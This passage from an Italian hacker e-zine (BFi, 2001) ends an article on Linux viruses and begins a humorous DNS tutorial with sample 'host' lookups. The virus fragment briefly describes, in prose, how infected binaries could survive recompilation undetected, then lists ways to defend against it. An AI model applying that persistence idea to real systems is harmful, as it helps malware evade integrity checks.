giro un virus con il suo codice completo dentro il binario... ma potrebbe semplicemente aggiungere una parte di codice dopo il main giusto x richiamare il file del virus padre, almeno anche in seguito a una ricompilazione i file rimarranno infetti e senza che il checksum sia alterato :) per difendersi da questo ci sarebbe da fare l'md5sum di TUTTI i file della home, cosa abbastanza pesante xke` anche ogni nostra modifica risulterebbe come "accesso", ma non c'e` altra via... programmi che per loro natura usano la ptrace x bloccare un debug non ne ho visti, puo essere che qualche sw commerciale lo faccia, ma visto come stan le cose si potrebbe predisporre un sistema di logging delle chiamate ptrace(2) e init_module(2) giusto x aver sotto mano l'utilizzo di queste chiamate :) il metodo migliore x individuare un virus che non va a ficcarsi nel kernel e` quello di usare sistemi di individuazione non comuni, tipo... du -abh anziche` ls -l... top o pstree anziche` ps, un virus non potra` mai wrapperare tutti i binari, visto che e` un software stupido che agisce sui sistemi comunemente utilizzati x individuare un virus... basta essere un po' + originali e fotterlo :) ============================================================================== --------------------------------[ EOF 17/18 ]--------------------------------- ============================================================================== BFi-10/BFi10-180100644000175000017500000024172107355704712012646 0ustar smastersmaster============================================================================== -----------[ BFi numero 10, anno 4 - 30/09/2001 - file 18 di 18 ]------------- ============================================================================== -[ MiSCELLANE0US ]------------------------------------------------------------ ---[ DNS JAM -----[ tHE rECIdjVO ____ _ __ _____ | \ | \ | | / ____| ################################### | \ | \ | | | |___ ______ ___ ____ ____ | | | | | \____ \ |_ _| / _ \ | _ \/ _ | | | | |\ | /\____| | | | | |_| |_ | | | | | | |_______/ |__| \___| \_______/ | | \_____/\_| |__| |__| |__| / | ################################# |___/ ############################ | | | DNSjam - A little survey across the Domain Name System village | | | | by tHE rECIdjVO - recidjvo@pkcrew.org | | Member of the Packet Knights | | http://www.pkcrew.org/ | | | | - June, 2001 | | | ##################################################################### o 0. Introduzione o 1. Cenni storici o 2. Basi protocollo DNS 2.1. Gerarchia 2.2. Top Level Domains 2.3. Reverse Lookup o 3. RRs (Resource Records) o 4. Implementazioni del protocollo 4.1. gethostbyname() 4.2. getaddrinfo() o 5. Struttura di un pacchetto DNS (utilizzando il protocollo UDP) o 6. Software di analisi DNS (la pappa e` prontaaa) 6.1. host 6.2. dig o 7. DNS e Whois o 8. Future 8.1. Nuovi organismi e TLD 8.2. Futuro del protocollo o 9. Resources 9.1. RFCs 9.2. URLs 9.3. HOWTOs 9.4. Books 9.5. About the Author 0. Introduzione Eccoci qui. Ennesimo lunedi` mattina, ennesimo casino. Della serie *ma quasi quasi stavo bene prima di ieri sera*, per gli amanti delle feste della domenica notte, per quelli che credono che oramai tutto sia quasi sistemato e invece poi in poche ore cambia tutto, e non sai piu` cosa pensare ne` cosa fare, vorresti solo sprofondare nella calma del tuo CED, per quelli che si ritrovano ogni dieci secondi a pensare a certe cose che speravano di aver cancellato dalla mente e archiviato nella sezione *bei momenti passati insieme* del proprio Castello della Memoria, per quelli che sanno cosa vuol dire quando il vento sembra soffiare sempre contro di te, per coloro che capiscono che un messaggio sul cellulare dopo una serata del genere possa essere il colpo di grazia, beh, benvenuti. Dire come mi sento ora e` davvero difficile (e probabilmente non ve ne freghera` neanche nulla =), pero` cosi` e`, se vi pare; a tutte quelle persone che probabilmente mai leggeranno questo testo, ma che forse potranno capire cosa mi sta succedendo, beh, vi voglio bene, lo so che non e` molto ma e` cosi` e non ci posso fare nulla, oramai. E allora cosa si puo` fare quando ci si trova in una situazione del genere? SIIIIIIIII!!!!!!!!! =) Mettersi a leggere un inutilissimo documento sul protocollo DNS e su come possa distogliere la nostra mente, magari anche solo per pochi secondi, da questo triste scenario. Quindi da parte lo sconforto e la tristezza, sguardo fisso in alto, a scrutare le stelle, memori che nel mondo il dolore deve venire superato sempre... tenendo anche conto della nuova segretaria che e` arrivata oggi... uhm... alla fine forse il mondo non e` cosi` male come poteva sembrare =D Insomma in poche parole, su con la vita, noi siamo gli immortali, e prima o poi troveremo anche noi la felicita`... 1. Cenni storici Beh tanto per iniziare un po' di storia, anche perche` come spero abbiate immaginato non e` che di colpo sia stato Internet gia` bello e funzionante, ma il tutto si e` sviluppato piano piano fino a che fondendo le varie esperienze si e` giunti all'attuale standard, che a noi sembra normalissimo e immutabile, ma anche lui sara` destinato a scomparire ed essere sostituito da... uhm... ehm... boh, insomma da quello che inventeranno dopo :) Premetto che non tutto quello che dico l'ho sperimentato di persona, ma l'ho letto sulle quintalate di rfc e doc che mi sono scorso nei giorni scorsi (o che mi sono passato nei giorni passati, o che mi sono letto nei giorna-letti). Quindi se non vi va bene andate a rompere a Postel e compagnia bella che io c'ho gia` i miei problemi... Lo scopo principale del protocollo DNS e` quello di permettere di identificare un determinato computer attraverso un nome, e non un IP address; i vantaggi che questo comporta sono molteplici, in quanto e` molto piu` facile ricordarsi un hostname (ad esempio www.pornvalley.com - e chi se lo scorda =), piuttosto che 64.75.34.136, non credete? Ehi, dico a voi! Oh, chiudete subito quel browser branco di maniaci e continuate a leggere ^__^ All'inizio, quando la scimmia aveva appena iniziato a raggrupparsi in piccole comunita` e a darsi un'organizzazione, sorse il problema di dare un nome alle macchine in modo da poter rendere facile il loro riconoscimento all'interno di una rete e permettere operazioni di interscambio ad alto livello, come ad esempio l'invio della posta. Tra le varie proposte ce ne furono alcune che ancora sussistono, piu` o meno in disuso, come l'UUCP; fino a che le reti erano piccole e l'utenza non toccava utenti che non si possono certo definire *tecnici* (come capita ora, dopo il grande boom di internet), si poteva usare anche solo un nome associato alla macchina, senza preoccuparsi del dominio: il semplice HOST era piu` che sufficiente per permettere gli scambi in modo trasparente. Reti mitiche come ARPANET o DDN si trovarono pero` in crisi quando il numero di macchine collegate tra di loro crebbe in maniera spropositata, e Internet si trasformo` dalla rete militare che era in uno dei piu` affollati mondi internazionali di scambio. Per rendersi conto di come sia cambiato il mondo, basti pensare che nel 1987 i domini .com registrati ammontavano a poche centinaia, mentre ora sono in numero talmente elevato da avere difficolta` a registrarne uno =) Il protocollo fu introdotto nel 1984 dalla nascita di Nostro Signore, e le reti gia` esistenti iniziarono i cambiamenti necessari per l'adattamento al nuovo standard, ovviamente passando per una lunga fase di transizione. L'evoluzione sembro` soddisfare abbastanza la comunita`, e negli anni successivi si continuo` lo sviluppo lungo questa direzione, introducendo nuovi standard e implementando piano piano il sistema di risoluzione dei nomi che stiamo usando ancora oggi. Per capire quanto sia in evoluzione questo mondo, basti pensare che un'importante modifica fu fatta nel '95 per introdurre il supporto per le risorse su IPv6, protocollo che sara` fondamentale anche se solo ora la gente sta incominciando a rendersene conto: grazie alla risoluzione dei FQDNs (Full Qualified Domain Names) gli utenti un po' meno esperti (giusto per citarne qualcuno: la segretaria tettona che usa la posta, il pornografo impunito che guarda www.pornvalley.com - FERMI!!! -, la mamma della mia vicina che deve assolutamente andare sul sito dei LunaPop... :) non si accorgeranno minimamente di quale fantastica rivoluzione sia avvenuta nel mondo digitale, e valle pure a spiegare che il merito va dato al browser IPv6 e ai nuovi router della Cisco, tanto lei vede il sito dei LunaPop, e` contenta, la figlia esce la sera e siamo tutti felici - *ting* [(C) Pollon - pollon@olimpo.net] Dopo questa tortura vediamo un po' cosa ci ha portato da ARPANET e le reti militari al sito di Cesare (che sia la sua Vespa? =). 2. Basi protocollo DNS Il protocollo e` sostanzialmente mooolto semplice, ovviamente dopo che si e` perso il sonno per mesi interi cercando di capirlo ^__^ Pero` con questo documento spero di chiarire le idee a molta gente, anche perche` a essere sincero credo di conoscerne le basi discretamente, e in giro una delle domande piu` frequenti che mi fanno riguarda questo argomento (cosi` ora gli mando via DCC l'articolo e non rompono piu` le bolle =) Abbiamo detto che lo scopo del DNS e` quello di permettere la dualita` tra IP address e hostname. In realta` questo concetto, sebbene dia un'idea molto mirata della situazione, e` molto restrittivo e non si puo` certo esaurire cosi` l'argomento. Il sistema che e` stato messo in piedi e` un gigantesco database distribuito su migliaia di macchine tutte in giro per il mondo. Scopo principale e` la risoluzione dei nomi, ma nulla ci vieta di usare il protocollo DNS per scambiarci messaggi di amore attraverso una risorsa TXT (ho sentito di gente che mandava binari interi uuencodati con questo metodo): beh, visto che purtroppo una ragazza a cui mandare i messaggi di amore non la tengo (e se ce l'avessi credo che scapperebbe se provassi a fare una cosa cosi` malata :), vediamo come e` strutturato il mondo dei DNS. 2.1. Gerarchia Uno di concetti fondamentali che caratterizza la rete attuale a differenza di altre piu` antiche e` quella di avere una forte gerarchizzazione dei nomi. Tradotto in un linguaggio che anche |CyRaX| possa capire, il potere e` tenuto centralizzato per quanto riguarda la gestione, ma non per quanto riguarda le risorse. Tradotto in un linguaggio che anche |CyRaX| fumato e ubriaco possa capire, io comando e delego te per comandare una determinata zona che mi appartiene, e se ti va puoi delegare qualcun'altro per amministrare un'altra porzione di sottozona e cosi` via fino a che serve, se vi piace vedetela come il signore del castello con i suoi vassalli, valvassori e valvassini (Oh, a Cirooo, se non hai capito ancora, vaffanculo, te lo spiego con un disegno un'altra volta ^__^, e scusate la parolaccia). L'organizzazione delle risorse prevede un livello base, chiamato anche root, che andrebbe identificato con uno 0 pero` per esigenze grafiche la si indica comunemente (anche i programmi usano questa convenzione) con un dot (.): questa e` la root zone, ovvero chi ha il potere supremo, in quanto tutto il resto e` una *derivazione* della root. Appena sotto la root ci stanno i TLD, di cui parleremo meglio dopo, i quali non possono essere registrati a'mm'zzo ma sono stabiliti dalle autorita` competenti (che poi sarebbero la ICANN - Internet Corporation of Assigned Names and Numbers, IANA - Internet Assigned Numbers Authority e l'InterNIC). Questo livello e` il primo, e sotto questi TLD si possono registrare altri domini (che saranno quindi di secondo livello), e di solito e' a questo strato che viene permessa una registrazione agli utenti *comuni*. Prendiamo ad esempio l'host www.pornvalley.com (tanto per cambiare =), e vediamo come si scompone: innanzitutto mettiamo in forma esplicita il fatto che ci sia la root alla base di tutto, ottenendo il FQDN *www.pornvalley.com.* (e` stato aggiunto il . finale). Vediamo ora i livelli: root: . . (TLD) 1st level: com com. 2nd level: pornvalley pornvalley.com. 3rd level: www www.pornvalley.com. Intanto e` bene sfatare i luoghi comuni, quindi diciamo subito che il fatto di avere www davanti al dominio non vuol dire per forza che ci sia un server web in ascolto, e nemmeno che www.pornvalley.com. e pornvalley.com. siano la stessa cosa: e` semplicemente una convenzione di comodo adottata da molti il fatto che il livello piu` alto indichi il tipo di servizio che si sta offrendo (www, ftp, mail), ma nessuno ci costringe a settare i server in questa maniera. Lo schema sopraindicato significa questo: se voglio sapere qualcosa di www.pornvalley.com (chissa perche` poi :P) devo chiedere al capo del mondo (la root) di dirmi qualcosa riguardo al gradino immediatamente successivo (com), dopodiche` a questo chiedo in maniera analoga informazioni su pornvalley e infine a quest'ultimo chiedo di dirmi chi e` in realta` www. In questo modo sono sicuro di arrivare dove voglio senza possibilita` di malintesi. 2.2. Top Level Domains I TLD esistenti sono veramente molti, ma possiamo raggrupparli in 4 grandi categorie. La prima e` quella dei TLD generic, che possono essere registrati da tutti e non implicano una grande fatica a essere sistemati: qui troviamo i .COM .NET e .ORG (giusto per dire, tutto quello che riguarda i DNS non e` case sensitive, quindi www.pornvalley.com e WWW.PoRnVaLlEy.COM sono equivalenti). Inizialmente le tre tipologie avevano un significato preciso, ma poi con la grande corsa alla registrazione del dominio sono diventati quasi tutti equivalenti; nelle idee originarie i .COM erano destinati alle societa` commerciali, i .NET a quelle che si occupavano di topic relativi alla rete e .ORG per tutte le altre organizzazioni (ad esempio le non-profit). Una seconda categoria e` quella delle nazionali, identificate da un TLD di due lettere corrispondente al loro Country Code (li trovate tutti nell'ISO-3166). Spesso i NIC nazionali creano zone che specificano maggiormente il campo di interesse di un determinato dominio (co.uk -> Commercial/United Kingdom), ma ovviamente non hanno nessun potere al di fuori del loro TLD assegnato dall'autorita`. La terza categoria e` composta da domini che non sono registrabili da utenti normali, ma solo da particolari enti americani: .MIL (US military), .GOV (US governative), .EDU (US Educational - universita` e college di quattro anni di durata). L'ultima categoria riguarda due domini speciali, ovvero ARPA e INT, usati in modo temporaneo per i passaggi da reti come ARPANET o per scopi al di fuori della risoluzione dei nomi. I due domini di secondo livello IN-ADDR.ARPA. e IP6.INT. sono di notevole importanza in quanto servono per la risoluzione al contrario degli ip (rispettivamente IPv4 e IPv6). Vediamo ora uno schemino facile facile su come sia organizzato l'albero DNS con un paio di esempi: /--------------\ | root | \--------------/ | /-----------------------------------------------------------------------\ | | | | | | | | | | /-----\ /-----\ /-----\ /-----\ /-----\ /-----\ /------\ /-----\ /----\ /-----\ | com | | net | | org | | mil | | edu | | gov | | arpa | | int | | it | | ... | \-----/ \-----/ \-----/ \-----/ \-----/ \-----/ \------/ \-----/ \----/ \-----/ | | | \------------\ \-----------------\ | | | | /------------\ /--------\ /-----\ | pornvalley | | pkcrew | | ip6 | \------------/ \--------/ \-----/ | | /-----\ /-----------\ | www | | tiatunnel | \-----/ \-----------/ Compreso questo il modello dei DNS diventa veramente semplice: ogni volta che vi trovate davanti a un nome, non pensate al nome come ad un'entita` unica e indivisibile, ma piuttosto disegnatevi mentalmente l'albero che dalla root porta al vostro amato sito pieno di donnine nude =) (ooh, ho detto l'albero non le donnine :D) Quando io cerco di collegarmi a www.pornvalley.com, i passi che vengono compiuti sono i seguenti (non considero eventuali query ricorsive, ma giusto il percorso logico lungo l'albero); il programma, di solito attraverso una chiamata a gethostbyname(3), richiede un ip address per l'host www.pornvalley.com, e quindi, leggendo il file /etc/resolv.conf viene inoltrata al server dns una query del tipo: "dammi l'ip del sitozzo" class: "internet", e, se esistente, otteniamo una struct contenente i dati necessari per l'inizializzazione dei socket. Ma come fa il nameserver sulla mia macchina (che non e` stato delegato per gestire la risorsa www.pornvalley.com.) a sapere dove cercare l'ip? Ecco cosa avviene: 0x00: chiediamo a uno dei root-servers (che il nostro server dns ha scritti in un file), di dirci la lista dei root-servers stessi aggiornata. 0x01: al root server diciamo: voglio i dns del TLD com. 0x02: dopodiche` chiede a uno di questi di dirci un server DNS che e` autorizzato a dare informazioni sul dominio pornvalley.com. 0x03: infine interroghiamo quest'ultimo per sapere l'indirizzo IPv4 (type: A) del server. Ottenuta la risposta la utilizziamo per la connessione. Vediamo in pratica come fare usando il tool host, che viene distribuito nel package bind rilasciato dalla ISC (Internet Software Consortium) e reperibile all'url http://www.isc.org/products/BIND/. La sintassi che useremo per ora e` molto semplice: l'opzione -t specifica il tipo di risorsa richiesta, seguita dal nome e dal server DNS che vogliamo interrogare. (chiediamo al nostro server locale di darci i nameserver (NS) autoritativi per la root-zone) [recidjvo@pkcrew:~]$ host -t NS . 127.0.0.1 Using domain server 127.0.0.1: . name server F.ROOT-SERVERS.NET . name server B.ROOT-SERVERS.NET . name server J.ROOT-SERVERS.NET . name server K.ROOT-SERVERS.NET . name server L.ROOT-SERVERS.NET . name server M.ROOT-SERVERS.NET . name server I.ROOT-SERVERS.NET . name server E.ROOT-SERVERS.NET . name server D.ROOT-SERVERS.NET . name server A.ROOT-SERVERS.NET . name server H.ROOT-SERVERS.NET . name server C.ROOT-SERVERS.NET . name server G.ROOT-SERVERS.NET (ora chiediamo il primo livello a uno di questi) [recidjvo@pkcrew:~]$ host -t NS com. A.ROOT-SERVERS.NET. Using domain server: Name: A.ROOT-SERVERS.NET Address: 198.41.0.4 Aliases: com name server A.GTLD-SERVERS.NET com name server G.GTLD-SERVERS.NET com name server C.GTLD-SERVERS.NET com name server I.GTLD-SERVERS.NET com name server B.GTLD-SERVERS.NET com name server D.GTLD-SERVERS.NET com name server L.GTLD-SERVERS.NET com name server F.GTLD-SERVERS.NET com name server J.GTLD-SERVERS.NET com name server K.GTLD-SERVERS.NET com name server E.GTLD-SERVERS.NET com name server M.GTLD-SERVERS.NET (passiamo ora al secondo livello) [recidjvo@pkcrew:~]$ host -t NS pornvalley.com. A.GTLD-SERVERS.NET. Using domain server: Name: A.GTLD-SERVERS.NET Address: 192.5.6.30 Aliases: pornvalley.com name server NS1.MYDOMAIN.COM pornvalley.com name server NS2.MYDOMAIN.COM pornvalley.com name server NS3.MYDOMAIN.COM pornvalley.com name server NS4.MYDOMAIN.COM (ora abbiamo il nameserver autoritativo, chiediamogli l'IPv4 corrispondente a www) [recidjvo@pkcrew:~]$ host -t A www.pornvalley.com. NS1.MYDOMAIN.COM. Using domain server: Name: NS1.MYDOMAIN.COM Address: 216.34.13.236 Aliases: www.pornvalley.com has address 64.75.34.136 [recidjvo@pkcrew:~]$ Bene, ora sappiamo che l'ip corrispondente a www.pornvalley.com. e` 64.75.34.136. Il gioco da fare e` sempre lo stesso, scalare la gerarchia risalendo piano piano di livello e chiedendo chi e` il responsabile del livello dopo; in questa maniera i root-server non hanno *tutte* le risorse, ma solo le informazioni su chi se ne occupa e in via ricorsiva si arriva a chi le risorse le gestisce e ce le offre. 2.3. Reverse Lookup Bene, ora abbiamo capito come funziona un DNS server quando viene interrogato per restituire un ip dato un FQDN, ma cosa succede se voglio fare il contrario? Facciamo questo esempio: io ho un ip 64.75.34.136 (indovinate un po' che sara` mai? =) e vorrei proprio sapere quale e` il nome della macchina che lo ha configurato sulla sua scheda di rete. Ecco che entra in gioco il reverse lookup, ovvero assegnare un nome ad un ip (se ci avete fatto caso, fino ad ora e` successo esattamente il contrario). Per fare cio` dobbiamo istituire un nuovo tipo di RR (Resource Record) che contenga queste informazioni, e poi trovare un modo affinche` si possa procedere alla ricerca attraverso il modello di albero gerarchico che abbiamo visto caratterizzare questo protocollo. La soluzione a questo quesito e` data dall'unione di un campo PTR e di due domini speciali, IN-ADDR.ARPA (IPv4) e IP6.INT (IPv6). Vediamo come. Se non si pensasse bene a tutto quello che abbiamo detto fino ad ora, si potrebbe dire semplicemente: vabbe`, io chiedo un campo PTR per l'ip 64.75.34.136 e il nameserver me lo dice... ENNO`!!! Perche` in base a cosa il server puo` dircelo? L'unica possibilita` sarebbe che ci fosse un DNS server che contenga *tutti* i campi PTR del mondo, e direi che non e` il caso, anche perche` non vorrei essere nei panni dell'amministratore di questo fantasioso server che riceverebbe al giorno milioni di richieste di modifica =) E allora perche` non usare il concetto di database distribuito che gia` stiamo implementando per la risoluzione, chiamiamola *diretta*? Ci sorge un bel dubbio anche qui: come facciamo a sapere quale DNS server e` autoritativo per un determinato ip? Uhm, ehm, err... Non si puo` certo fare finta che l'ip (per ora parliamo di IPv4) sia come un dominio, perche` in questo modo si verrebbero a creare delle zone contenenti solo l'ultimo byte, che e` il meno significativo, mentre sarebbe l'ideale raggruppare i PTR su ip sequenziali, quindi probabilemnte gestiti dallo stesso mantainer. Detto questo sembra piu` che naturale la soluzione di *reversare* l'ip byte a byte, aggiungendoci in fondo l'appartenenza al dominio IN-ADDR.ARPA. Cosi`, l'ip 64.75.34.136 puo` essere facilmente raggiunto attraverso il PTR al FQDN 136.34.75.64.in-addr.arpa., e cosi` sembra che abbiamo davvero messo tutto a posto. Vorrei spendere ancora un paio di parole per spiegare a chi non fosse ancora convinto di quanto sia importante invertire l'ordine dei byte dell'ip, che altrimenti avremmo un dns che ha delegati tutti i PTR relativi agli ip che finiscono con .1, un altro con quelli che finiscono con .2, mentre ha molto piu` senso che un nameserver abbia delegato una classe A (64.in-addr.arpa), che poi a sua volta deleghi una classe B a un altro nameserver piu` localizzato (75.64.in-addr.arpa), che poi volendo puo` delegare ancora classi C (34.75.64.in-addr.arpa). In questo modo si possono raggruppare gli ip in base ai loro byte piu` significativi, e questa e` una buona cosa. Una volta che abbiamo questa zona, essa si comporta esattamente come un normale albero sotto IN-ADDR.ARPA., quindi possiamo definire i campi PTR e associarci un FQDN. Vediamo un attimo in pratica come funziona: se voglio trovare che host e` associato ad un ip, posso usare semplicemente host , pero` visto che stiamo cercando di imparare diamo un'occhiata a come viene trasformata la query che viene passata al server DNS. Prendiamo l'ip 64.75.34.136, invertiamo l'ordine dei byte e aggiungiamoci in fondo il dominio speciale: otteniamo quindi 136.34.75.64.in-addr.arpa., che viene processato come se fosse una normale query, quindi chiedendo prima un NS autoritativo per la zona di root, poi per la arpa, poi per la in-addr, poi per 64, poi per 75, poi per 34 e infine una query di tipo PTR per 136. Il risultato e` un FQDN (sempre che sia impostato il campo di reverse di quell'ip - e purtroppo specialmente nelle societa` nuove mi e` capitato di parlare di zona di reverse e sentirmi dire: "Ah, si`, il nostro provider vi fornisce la possibilita` di usare i nostri server DNS per la navigazione, ora le comunico gli ip" "No guardi, io vorrei la delegazione per la zona di reverse degli ip che ho acquistato..." "Ah, si`, il nostro provider vi fornisce la possibilita` di usare i nostri server DNS per la navigazione, ora le comunico gli ip" "..." e poi scoprire che neanche gli ip utilizzati dalla societa` per ospitarci i loro servizi avevano la zona di reverse impostata). "Ma e` cosi` importante questo reverse lookup?", chiederete voi. "Beh non certo importante come la risoluzione diretta, pero` si puo` rivelare molto utile in alcune occasioni." "Quali?" "Ecchepp..." =) Ad esempio e` molto utile per scoprire informazioni riguardo a chi posiede un ip o su cosa ci possa essere su una macchina, come ad esempio potrebbero fare i siti di statistiche degli accessi web a dire che si ha avuto visite da .gov e .mil se non potessero reversare gli ip dei client che si collegano? Tanti server oltre a quelli web lo fanno per inserire il risultato nei log e rendere piu` leggibile ai sysadmin quel gran burdel di cifre: il wu-ftpd lo fa, il server telnet, i pop3 e smtp piu` comuni, e, ciliegina sulla torta, I SERVER IRC =))) Perche` lo so brutti balordi che la meta` di voi stara` cercando in queste follie mentali il modo per poter avere finalmente un bel vhost da sfoggiare con gli amici, perche`, ammettiamolo, uscire con passo.le.giornate.a.guardare.tua.sorella.nella.nuova.sezione.di.pornvalley.com e` di certo meglio che un semplice numerico o un triste dialup :( E allora, bimbi miei, ecco qui la guida completa al tamarro della chat, l'uomo con il vhost d'oro... eheheh =) Punto primo: rassegnatevi. Per poter avere un vhost che venga accettato dai server irc bisogna avere non pochi requisiti, che passo ad illustrare: il vostro ip, interrogato secondo il metodo dei PTR, deve riportare un certo FQDN, il quale a sua volta interrogato per una risorsa tipo A deve rispondere con lo *stesso* ip che avete usato per il collegamento. In poche parole dovete avere la delegazione sia della zona diretta dei vhost che volete usare sia della zona di reverse relativa al vostro ip, cosa che con le dialup non capita mai. Punto secondo: poteva sembrare una cosa da lameri invece puo` essere istruttiva. Questo esempio l`ho messo apposta anche perche` possiamo trarne delle conclusioni molto importanti: non e` per nulla vero che un ip e un host siano associati alla stessa maniera per quanto riguarda diretto e reverse, volendo io potrei mettere come PTR al mio ip guarda.che.se.mi.inkazzo.vengo.li (non mi ricordo chi era che l'aveva fatto, pero` e` troppo bello =), anche se io non ho mai comperato il dominio vengo.li. Semplicemente la query per il PTR riporta il contenuto che IO ho messo nel database, e a nessuno importa se io non ho comprato il dominio, ma solo che il mio nameserver sia autoritativo per la mia zona di reverse lookup. Allo stesso modo posso far puntare un qualsiasi host del mio dominio a una macchina che non amministro io, quindi teoricamente the.usa.president.always.visits.pornvalley.com potrebbe puntare allo stesso ip del webserver che ospita www.whitehouse.gov (ATTENTI!!! www.whitehuose.gov e` il sito della Casa Bianca, mentre www.whitehouse.com e` un sito porno ^__^ Ma a che punto siamo arrivati... :) Il processo che compiono i server IRC serve quindi ad evitare che si possa mettere qualsiasi dominio solo avendo la zona di reverse e non quella diretta, infatti nel caso il doppio controllo fallisse verremmo ammessi solo con l'ip numerico. Per quanto riguarda la zona di reverse IPv6, il concetto piu` o meno e` lo stesso: al posto della IN-ADDR.ARPA. si usa la IP6.INT., la risorsa PTR e` la stessa, ma il modo di reversare l'ip non e` cosi` immediato: viene reversato anche lui byte a byte con un punto tra un campo e il successivo, ma bisogna stare attenti quando l'IPv6 e` scritto in forma contratta, perche` vanno riempiti tutti gli zeri necessari. Esempio: 3ffe:1001:280::1 == == 3ffe:1001:0280:0000:0000:0000:0000:0001 == == 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.2.0.1.0.0.1.e.f.f.3.ip6.int. Proviamo ora con il nostro amico host: [recidjvo@pkcrew:~]$ host -t NS arpa. A.ROOT-SERVERS.NET. Using domain server: Name: A.ROOT-SERVERS.NET Address: 198.41.0.4 Aliases: arpa name server A.ROOT-SERVERS.NET arpa name server H.ROOT-SERVERS.NET arpa name server C.ROOT-SERVERS.NET arpa name server G.ROOT-SERVERS.NET arpa name server F.ROOT-SERVERS.NET arpa name server B.ROOT-SERVERS.NET arpa name server I.ROOT-SERVERS.NET arpa name server E.ROOT-SERVERS.NET arpa name server D.ROOT-SERVERS.NET [recidjvo@pkcrew:~]$ host -t NS in-addr.arpa. A.ROOT-SERVERS.NET. Using domain server: Name: A.ROOT-SERVERS.NET Address: 198.41.0.4 Aliases: in-addr.arpa name server A.ROOT-SERVERS.NET in-addr.arpa name server H.ROOT-SERVERS.NET in-addr.arpa name server B.ROOT-SERVERS.NET in-addr.arpa name server C.ROOT-SERVERS.NET in-addr.arpa name server D.ROOT-SERVERS.NET in-addr.arpa name server E.ROOT-SERVERS.NET in-addr.arpa name server I.ROOT-SERVERS.NET in-addr.arpa name server F.ROOT-SERVERS.NET in-addr.arpa name server G.ROOT-SERVERS.NET [recidjvo@pkcrew:~]$ host -t NS 64.in-addr.arpa. A.ROOT-SERVERS.NET. Using domain server: Name: A.ROOT-SERVERS.NET Address: 198.41.0.4 Aliases: [recidjvo@pkcrew:~]$ host -t NS 75.64.in-addr.arpa. A.ROOT-SERVERS.NET. Using domain server: Name: A.ROOT-SERVERS.NET Address: 198.41.0.4 Aliases: [recidjvo@pkcrew:~]$ host -t NS 34.75.64.in-addr.arpa. A.ROOT-SERVERS.NET. Using domain server: Name: A.ROOT-SERVERS.NET Address: 198.41.0.4 Aliases: 34.75.64.in-addr.arpa name server NS.EXODUS.NET 34.75.64.in-addr.arpa name server NS2.EXODUS.NET [recidjvo@pkcrew:~]$ host -t PTR 136.34.75.64.in-addr.arpa. NS.EXODUS.NET. Using domain server: Name: NS.EXODUS.NET Address: 206.79.230.10 Aliases: 136.34.75.64.in-addr.arpa domain name pointer redirect.dnsix.com Perche` non abbiamo avuto risposta per alcune delle query fatte? Anche se a prima vista puo` sembrare un errore, e` giusto cosi`. Infatti la classe 64, pur essendo una classe A, ha la zona di reverse impostata direttamente sui primi tre byte, quindi evita passaggi successivi attraverso altri nameserver. E poi al contrario: [...] (salto la procedura per trovare il NS autoritativo) [recidjvo@pkcrew:~]$ host -t A redirect.dnsix.com. NS1.MYDOMAIN.COM. Using domain server: Name: NS1.MYDOMAIN.COM Address: 216.34.13.236 Aliases: redirect.dnsix.com has address 64.75.34.136 Ovviamente tutti questi esempi che abbiamo visto sono a scopo didattico, non vi sognate mai di fare tutte le query (a meno che non vi interessi sapere informazioni del tipo societa` incorporate o simili): basta fare la query al nameserver predefinito e poi ci pensa lui a fare il resto, portando direttamente a casa il risultato finale. Pero`, come dice sempre Ciro: "[biiip], lo so che c'e` un modo piu` facile automatico di farlo ma a me va di fare cosi`", quindi fanculo se vi sembra che abbiamo perso solo tempo, e scusate ancora la parolaccia =) 3. RRs (Resource Records) Vediamo ora i principali tipi di risorse che si possono ottenere da un server DNS. Come abbiamo visto, anche se apparentemente l'unico campo che potrebbe interessare sarebbe quello A (address), molti altri sono importantissimi (NS, PTR): vediamone un tot, indicando di fianco il relativo codice (i type delle query saranno ripresi nella sezione dell'implementazione di un pacchetto DNS): 0x01: A IPv4 Address Questa risorsa contiene l'ip corrispondente a un FQDN. 0x02: NS NameServer Nameserver autoritativo per la determinata zona. 0x05: CNAME Canonical Name Un nickname per un altro host. 0x06: SOA Start Of Authority Dati relativi alla gestione della zona. 0x0c: PTR Pointer FQDN per il reverse lookup. 0x0d: HINFO Host Info Informazioni sulla macchina. 0x0f: MX Mail Exchanger Nome del server gestore della posta. 0x10: TXT Text Info Descrizione della zona. 0x1c: AAAA IPv6 Address Risorsa duale a A per indirizzi IPv6. 0xfc: AXFR Zone Transfer Richiesta di trasferimeto zona. 0xff: ANY All records Richiesta per tutti i RR disponibili. Per capire come vanno impostate le risorse, potete rifarvi all'ottimo manuale del bind e all'HOWTO, comunque sono molto semplici: il SOA definisce cose come il responsabile (email) della zona, i tempi di caching delle risposte e il serial dell'ultima modifica. Il campo CNAME invece serve per poter deinire degli alias di un host; in questo modo, ci comportiamo similmente a una risorsa A, pero` al posto dell'IPv4 ci mettiamo un altro hostname, il quale a sua volta dovra` prima o poi risolversi in un campo A. Questo serve ad esempio nel caso il nostro webserver abbia 1984 virtualhost che puntano sul suo ip: nel momento in cui ci vediamo costretti a cambiare ip al webserver, dovremmo aggiornare 1984 campi A probabilmente in 1984 file di configurazione diversa... Non un bel lavoro! In questo modo invece se noi definiamo i vhost con un CNAME su webserver, ci bastera` modificare l'IPv4 di quest'ultimo e automaticamente anche tutti gli altri verranno aggiornati =) L'unica limitazione e` che alcuni campi (come quelli NS o MX), non possono essere associati a un host definito da un CNAME, ma da un campo A. Giusto per tenerci in allenamento, vediamo come funziona il nostro software di invio mail quando cerchiamo di spedire una mail a bfi@s0ftpj.org . Per prima cosa cerchiamo chi e` il server di posta per il dominio s0ftpj.org, dopodiche` tenteremo di collegarci alla sua porta SMTP (25/tcp) e inviare una mail all'utente. [...] (saltiamo ancora la ricerca del namserver autoritativo per s0ftpj.org) [recidjvo@pkcrew.org:~]$ host -t MX s0ftpj.org NS1.ANDREAMONTI.NET. Using domain server: Name: NS1.ANDREAMONTI.NET Address: 151.39.115.130 Aliases: s0ftpj.org mail is handled (pri=100) by mail.olografix.org Il numero 100 che otteniamo e` la priorita` del mail exchanger, nel caso esistessero piu` server viene provato per primo quello con priorita` piu` bassa e via crescendo. L'opzione -v del comando host visualizza anche le informazioni relative all'host ritornato come risultato della query MX, ovvero un RR di tipo A su mail.olografix.org. Come vedete quindi, il server di posta non deve essere per forza con il dominio associato alle caselle che contiene, basta che sia definito come MX nel file di configurazione del dominio. Ci sono molti altri RR possibili, anche se non sono quasi mai usati. Diciamo che, come spiegato 